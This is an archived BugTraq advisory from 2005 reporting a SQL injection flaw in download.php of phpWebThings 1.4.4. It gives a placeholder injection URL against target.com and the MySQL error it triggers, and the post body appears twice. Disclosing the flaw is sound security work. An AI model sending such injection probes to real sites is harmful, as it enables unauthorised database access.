BugTraq
Back to list
|
Post reply
SQL injection in phpWebThing 1.4.4
Nov 11 2005 11:45AM
A 1 M Hotmail com
Vulnerable: phpWebThings 1.4.4
website : http://phpwebthings.org
The bug in download.php
ThE Exploit :
http://www.target.com/download.php?file=|SQL
ThE Error:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by date DESC' at line 1
AhLaM
http://www.lezr.com/vb
Best Regards ,,,
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
website : http://phpwebthings.org
The bug in download.php
ThE Exploit :
http://www.target.com/download.php?file=|SQL
ThE Error:
You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by date DESC' at line 1
AhLaM
http://www.lezr.com/vb
Best Regards ,,,
[ reply ]